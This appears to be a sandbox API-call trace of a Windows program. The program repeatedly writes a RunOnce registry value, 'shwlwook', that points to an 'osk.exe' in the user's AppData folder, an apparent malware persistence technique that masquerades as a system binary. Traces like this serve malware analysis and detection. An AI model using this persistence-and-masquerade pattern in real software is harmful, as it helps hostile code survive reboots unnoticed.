[0280.453] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.453] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.454] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.454] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.454] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.454] RegCloseKey (hKey=0x644) returned 0x0 [0280.455] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.455] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.469] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.469] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.469] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.470] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.470] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.470] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.470] RegCloseKey (hKey=0x644) returned 0x0 [0280.471] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.471] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.484] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.484] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.485] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.485] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.485] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.486] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.486] RegCloseKey (hKey=0x644) returned 0x0 [0280.486] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.486] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.500] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.500] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.501] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.501] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.501] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.502] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.502] RegCloseKey (hKey=0x644) returned 0x0 [0280.502] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.502] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.559] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.559] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.560] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.560] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.560] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.560] RegCloseKey (hKey=0x644) returned 0x0 [0280.561] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.561] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.563] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.563] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.563] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.564] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.564] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.564] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.564] RegCloseKey (hKey=0x644) returned 0x0 [0280.564] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.565] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.578] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.578] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.579] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.579] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.579] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.579] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.579] RegCloseKey (hKey=0x644) returned 0x0 [0280.580] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.580] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.594] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.594] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.594] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.595] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.595] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.595] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.595] RegCloseKey (hKey=0x644) returned 0x0 [0280.595] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.596] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.612] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.612] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.613] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.613] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.614] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.614] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.614] RegCloseKey (hKey=0x644) returned 0x0 [0280.614] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.614] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.641] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.641] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.641] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.642] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.642] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.642] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.642] RegCloseKey (hKey=0x644) returned 0x0 [0280.642] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.642] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.656] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.656] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.657] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.657] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.657] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.657] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.657] RegCloseKey (hKey=0x644) returned 0x0 [0280.658] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.658] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.673] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.673] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.673] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.674] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.674] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.674] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.674] RegCloseKey (hKey=0x644) returned 0x0 [0280.674] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.675] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.703] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.703] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.704] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.704] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.704] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.705] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.705] RegCloseKey (hKey=0x644) returned 0x0 [0280.705] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.705] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.745] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.745] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.745] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.746] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.746] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.746] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.746] RegCloseKey (hKey=0x644) returned 0x0 [0280.746] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.747] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.766] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.766] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.767] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.767] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.767] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.768] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.768] RegCloseKey (hKey=0x644) returned 0x0 [0280.768] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.768] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.782] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.782] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.782] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.783] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.783] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.783] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.783] RegCloseKey (hKey=0x644) returned 0x0 [0280.784] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.784] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.797] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.797] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.797] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.798] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.798] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.798] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.798] RegCloseKey (hKey=0x644) returned 0x0 [0280.798] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.799] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.813] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.813] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.813] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.814] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.814] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.814] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.814] RegCloseKey (hKey=0x644) returned 0x0 [0280.814] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.815] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.828] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.828] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.829] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.829] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.829] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.829] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.830] RegCloseKey (hKey=0x644) returned 0x0 [0280.830] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.830] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.940] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.940] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.940] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.940] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.940] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.941] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.941] RegCloseKey (hKey=0x644) returned 0x0 [0280.941] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.941] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.955] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.956] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.962] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.962] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.962] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.962] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.963] RegCloseKey (hKey=0x644) returned 0x0 [0280.963] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0280.963] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0280.971] TranslateMessage (lpMsg=0x95f69c) returned 0 [0280.971] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0280.971] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0280.972] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0280.972] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0280.972] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0280.972] RegCloseKey (hKey=0x644) returned 0x0 [0280.972] 